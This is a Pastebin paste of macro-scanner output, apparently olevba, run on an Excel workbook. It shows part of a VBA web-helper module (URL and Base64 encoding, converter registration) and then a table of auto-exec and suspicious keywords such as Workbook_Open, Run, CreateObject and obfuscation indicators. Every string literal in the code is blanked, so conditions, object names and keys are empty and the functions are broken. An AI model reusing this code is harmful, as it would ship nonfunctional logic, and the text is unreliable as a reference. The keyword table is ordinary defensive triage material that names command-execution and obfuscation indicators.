  728.  web_CharCode = VBA.Asc(web_Char)
  729.  Select Case web_CharCode
  730.  Case 36, 38, 43, 44, 47, 58, 59, 61, 63, 64
  731.  web_Result(web_i) = "" & VBA.Hex(web_CharCode)
  732.  Case 32
  733.  web_Result(web_i) = web_Space
  734.  Case 34, 35, 37, 60, 62, 91 To 94, 96, 123 To 126
  735.  If EncodeUnsafe Then
  736.  web_Result(web_i) = "" & VBA.Hex(web_CharCode)
  737.  Else
  738.  web_Result(web_i) = web_Char
  739.  End If
  740.  Case Else
  741.  web_Result(web_i) = web_Char
  742.  End Select
  743.  Next web_i
  744.  UrlEncode = VBA.Join$(web_Result, "")
  745.  End If
  746. End Function
  747. Public Function UrlDecode(Encoded As String, Optional PlusAsSpace As Boolean = True) As String
  748.  Dim web_StringLen As Long
  749.  web_StringLen = VBA.Len(Encoded)
  750.  If web_StringLen > 0 Then
  751.  Dim web_i As Long
  752.  Dim web_Result As String
  753.  Dim web_Temp As String
  754.  For web_i = 1 To web_StringLen
  755.  web_Temp = VBA.Mid$(Encoded, web_i, 1)
  756.  If web_Temp = "" And PlusAsSpace Then
  757.  web_Temp = ""
  758.  ElseIf web_Temp = "" And web_StringLen >= web_i + 2 Then
  759.  web_Temp = VBA.Mid$(Encoded, web_i + 1, 2)
  760.  web_Temp = VBA.Chr(VBA.CInt("" & web_Temp))
  761.  web_i = web_i + 2
  762.  End If
  763.  web_Result = web_Result & web_Temp
  764.  Next web_i
  765.  UrlDecode = web_Result
  766.  End If
  767. End Function
  768. Public Function Base64Encode(Text As String) As String
  769. #If Mac Then
  770.  Dim web_Command As String
  771.  web_Command = "" & PrepareTextForShell(Text) & ""
  772.  Base64Encode = ExecuteInShell(web_Command).Output
  773. #Else
  774.  Dim web_Bytes() As Byte
  775.  web_Bytes = VBA.StrConv(Text, vbFromUnicode)
  776.  Base64Encode = web_AnsiBytesToBase64(web_Bytes)
  777. #End If
  778.  Base64Encode = VBA.Replace$(Base64Encode, vbLf, "")
  779. End Function
  780. Public Function Base64Decode(Encoded As Variant) As String
  781.  If (VBA.Len(Encoded) Mod 4 > 0) Then
  782.  Encoded = Encoded & VBA.Left("", 4 - (VBA.Len(Encoded) Mod 4))
  783.  End If
  784. #If Mac Then
  785.  Dim web_Command As String
  786.  web_Command = "" & PrepareTextForShell(Encoded) & ""
  787.  Base64Decode = ExecuteInShell(web_Command).Output
  788. #Else
  789.  Dim web_XmlObj As Object
  790.  Dim web_Node As Object
  791.  Set web_XmlObj = CreateObject("")
  792.  Set web_Node = web_XmlObj.createElement("")
  793.  web_Node.DataType = ""
  794.  web_Node.Text = Encoded
  795.  Base64Decode = VBA.StrConv(web_Node.nodeTypedValue, vbUnicode)
  796.  Set web_Node = Nothing
  797.  Set web_XmlObj = Nothing
  798. #End If
  799. End Function
  800. Public Sub RegisterConverter( _
  801.  Name As String, MediaType As String, ConvertCallback As String, ParseCallback As String, _
  802.  Optional Instance As Object, Optional ParseType As String = "")
  803.  Dim web_Converter As New Dictionary
  804.  web_Converter("") = MediaType
  805.  web_Converter("") = ConvertCallback
  806.  web_Converter("") = ParseCallback
  807.  web_Converter("") = ParseType
  808.  If Not Instance Is Nothing Then
  809.  Set web_Converter("") = Instance
  810.  End If
  811.  If web_pConverters Is Nothing Then: Set web_pConverters = New Dictionary
  812.  Set web_pConverters(Name) = web_Converter
  813. End Sub
  814. Private Function web_GetConverter(web_CustomFormat As String) As String
  815.  If web_pConverters.Exists(web_CustomFormat) Then
  816.  Set web_GetConverter = web_pConverters(web_CustomFormat)
  817.  Else
  818.  LogError "" & web_CustomFormat, _
  819.  "", 11002
  820.  Err.Raise 11002, "", _
  821.  "" & web_CustomFormat
  822.  End If
  823. End Function
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830.  
  831.  
  832.  
  833.  
  834. +------------+----------------------+-----------------------------------------+
  835. | Type       | Keyword              | Description                             |
  836. +------------+----------------------+-----------------------------------------+
  837. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  838. | Suspicious | Open                 | May open a file                         |
  839. | Suspicious | Run                  | May run an executable file or a system  |
  840. |            |                      | command                                 |
  841. | Suspicious | CreateObject         | May create an OLE object                |
  842. | Suspicious | CallByName           | May attempt to obfuscate malicious      |
  843. |            |                      | function calls                          |
  844. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  845. |            |                      | strings                                 |
  846. | Suspicious | ChrW                 | May attempt to obfuscate specific       |
  847. |            |                      | strings                                 |
  848. | Suspicious | SaveToFile           | May create a text file                  |
  849. | Suspicious | Write                | May write to a file (if combined with   |
  850. |            |                      | Open)                                   |
  851. | Suspicious | Output               | May write to a file (if combined with   |
  852. |            |                      | Open)                                   |
  853. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  854. |            |                      | be used to obfuscate strings (option    |
  855. |            |                      | --decode to see all)                    |
  856. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  857. |            |                      | may be used to obfuscate strings        |
  858. |            |                      | (option --decode to see all)            |
  859. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  860. |            | Strings              | may be used to obfuscate strings        |
  861. |            |                      | (option --decode to see all)            |
  862. | VBA string |                      | ("") & ""                               |
  863. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!